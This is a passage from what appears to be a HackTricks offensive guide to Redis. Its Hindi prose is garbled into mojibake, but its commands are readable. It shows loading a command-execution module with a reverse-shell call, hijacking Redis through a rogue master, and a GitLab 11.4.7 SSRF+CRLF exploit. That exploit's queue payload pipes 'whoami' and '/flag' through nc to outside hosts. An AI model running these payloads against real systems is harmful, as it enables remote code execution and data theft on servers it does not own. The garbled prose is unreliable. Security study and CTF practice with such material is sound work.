  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand рд╕реЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП рдЖрдк рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ redis рдореЙрдбреНрдпреВрд▓ рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
  2. рдлрд┐рд░ рдЖрдкрдХреЛ рд╕рдВрдХрд▓рд┐рдд рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдЪрд╛рд╣рд┐рдПред
  3. рдЕрдкрд▓реЛрдб рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓ рдХреЛ рд░рдирдЯрд╛рдЗрдо рдкрд░ MODULE LOAD /path/to/mymodule.so рдХреЗ рд╕рд╛рде рд▓реЛрдб рдХрд░реЗрдВред
  4. рд▓реЛрдб рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓ рдХреА рд╕реВрдЪреА рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдпрд╣ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓реЛрдб рд╣реБрдЖ рд╣реИ: MODULE LIST
  5. рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. рдЬрдм рдЪрд╛рд╣реЗрдВ рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрдирд▓реЛрдб рдХрд░реЗрдВ: MODULE UNLOAD mymodule

LUA sandbox bypass

рдпрд╣рд╛рдБ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ Redis EVAL рдЖрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ Lua рдХреЛрдб рдХреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред рд▓рд┐рдВрдХ рдХрд┐рдП рдЧрдП рдкреЛрд╕реНрдЯ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЗрд╕реЗ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдВ dofile рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд▓реЗрдХрд┐рди рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ рдЕрдм рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рдХрд┐рд╕реА рднреА рддрд░рд╣, рдпрджрд┐ рдЖрдк Lua рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЙрд╕реА рдкреЛрд╕реНрдЯ рд╕реЗ рдЖрдк рдХреБрдЫ рд╡рд┐рдХрд▓реНрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ DoS рдХрд╛ рдХрд╛рд░рдг рдмрдирддреЗ рд╣реИрдВред

рдХреБрдЫ CVEs LUA рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП:

Master-Slave Module

тАЛрдорд╛рд╕реНрдЯрд░ redis рд╕рднреА рд╕рдВрдЪрд╛рд▓рди рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реНрд▓реЗрд╡ redis рдкрд░ рд╕рдордиреНрд╡рдпрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рдо рдХрдордЬреЛрд░ redis рдХреЛ рдПрдХ рд╕реНрд▓реЗрд╡ redis рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдорд╛рд╕реНрдЯрд░ redis рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдлрд┐рд░ рд╣рдо рдЕрдкрдиреЗ redis рдореЗрдВ рдЖрджреЗрд╢ рджрд░реНрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis

рдпрджрд┐ рдЖрдк рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдЕрдиреБрд░реЛрдз Redis рдХреЛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ Redis рдЕрдиреБрд░реЛрдз рдХреЛ рдкрдВрдХреНрддрд┐ рджрд░ рдкрдВрдХреНрддрд┐ рдкрдврд╝реЗрдЧрд╛ рдФрд░ рдХреЗрд╡рд▓ рдЙрди рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдЧрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рд╡рд╣ рдирд╣реАрдВ рд╕рдордЭрддрд╛:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдПрдХ SSRF vuln рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдкрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЖрдк рдХреБрдЫ headers (рд╢рд╛рдпрдж рдПрдХ CRLF vuln рдХреЗ рд╕рд╛рде) рдпрд╛ POST parameters рдХреЛ control рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк Redis рдХреЛ рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред

рдЙрджрд╛рд╣рд░рдг: Gitlab SSRF + CRLF рд╕реЗ Shell

Gitlab11.4.7 рдореЗрдВ рдПрдХ SSRF рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рдФрд░ рдПрдХ CRLF рдЦреЛрдЬреА рдЧрдИред SSRF рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рдирдпрд╛ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП URL рд╕реЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЖрдпрд╛рдд рдХрд░рдиреЗ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рдереА рдФрд░ рдЗрд╕рдиреЗ [0:0:0:0:0:ffff:127.0.0.1] рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдиреЗ IPs рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА (рдпрд╣ 127.0.0.1 рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ), рдФрд░ CRLF vuln рдХрд╛ рд╢реЛрд╖рдг рдХреЗрд╡рд▓ URL рдореЗрдВ %0D%0A рд╡рд░реНрдг рдЬреЛрдбрд╝рдХрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ред

рдЗрд╕рд▓рд┐рдП, gitlab рд╕реЗ queues рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ Redis рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдмрд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдФрд░ рдЙрди queues рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ред Redis queue abuse payload рд╣реИ:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

рдФрд░ URL encode рдЕрдиреБрд░реЛрдз SSRF рдФрд░ CRLF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ whoami рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ nc рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд╛рдкрд╕ рднреЗрдЬрдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ (рдЬреИрд╕рд╛ рдХрд┐ https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рд╢реЛрд╖рдг git рд╕реНрдХреАрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ http рд╕реНрдХреАрдо рдХреЗ рд╕рд╛рде рдирд╣реАрдВред

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
рд╣реИрдХрд┐рдВрдЧ рдХреА рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ

Real-Time Hack News
рддреЗрдЬ-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рдЦрдмрд░реЛрдВ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

Latest Announcements
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}